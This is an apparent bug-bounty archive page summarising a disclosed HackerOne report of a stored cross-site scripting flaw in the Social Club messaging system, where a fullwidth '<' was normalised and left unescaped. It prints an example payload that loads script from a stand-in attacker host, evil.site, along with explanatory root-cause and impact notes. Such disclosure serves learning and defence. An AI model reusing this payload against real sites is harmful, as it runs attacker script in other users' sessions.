Skip to content
XSS Disclosed report Intermediate

The return of the <

The Message system on the Social Club website normalised a fullwidth less-than character to a regular '<' and failed to escape it properly, allowing a stored cross-site scripting payload to be saved and later executed in other users' browsers.

alexbirsan Follow

Originally disclosed on HackerOne

Bounty$1,000 High View original
  • Triaged in under an hour
  • Fixed in 3 months
  • Paid in under an hour
  • Disclosed after 3 months
## Summary by the program

In this report, the researcher was able to demonstrate a Stored XSS vulnerability in our Message system on the Social Club website. By taking advantage of the fact that '<' characters are normalized to '<', as well as discovering improper escaping of the aforementioned '<' character, the researcher was able to craft a payload to perform XSS attacks. 

An example payload:

=[̕h+͓.<script/src=//evil.site/poc.js>.͓̮̮�
=sW&͉̹̻͙̫̦̮̲͏̼̝̫́̕

The original report as published on HackerOne, by alexbirsan. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the input normalisation step converted a fullwidth less-than character into '<' after, or without, proper HTML escaping, so the resulting tag was rendered as markup.

Impact

An attacker could store a script in a message and have it run in the browser of anyone who viewed it, though the text gives no further detail on what that script could do.

What the attacker needed

Ability to send a message on Social Club

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A stored cross-site scripting (XSS) bug lets an attacker save malicious code in a website's data, such as a message, so that it runs in the browser of anyone who later views that content. Here the site turned a special look-alike '<' character into a real '<', which is used to start HTML tags, and then did not neutralise it, so the attacker's code became part of the page.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by alexbirsan

View all

11 more disclosed reports, best first.

More from Rockstar Games

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.